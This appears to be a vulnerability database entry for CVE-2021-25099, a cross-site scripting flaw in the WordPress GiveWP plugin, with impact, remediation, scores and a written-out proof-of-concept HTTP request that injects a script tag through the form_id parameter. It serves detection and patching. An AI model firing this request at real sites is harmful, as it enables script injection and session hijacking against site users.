🔙 목록으로 돌아가기

CVE-2021-25099: WordPress GiveWP <2.17.3 - Cross-Site Scripting

TitleWordPress GiveWP <2.17.3 - Cross-Site Scripting
Authortheamanrawat
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate to the latest version of the GiveWP plugin (2.17.3 or higher) to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.02406
CVE IDCVE-2021-25099
CWE IDCWE-79
Tags cve2021 cve xss wp give wordpress wp-plugin unauth wpscan givewp vuln

🔍 Vulnerability Description

WordPress GiveWP plugin before 2.17.3 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the form_id parameter before returning it in the response of an unauthenticated request via the give_checkout_login AJAX action. An attacker can inject arbitrary script in the browser of a user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.0 Safari/605.1.15
Connection: close
Content-Length: 82
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

action=give_checkout_login&form_id=xxxxxx"><script>alert(document.domain)</script>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25099.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25099.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A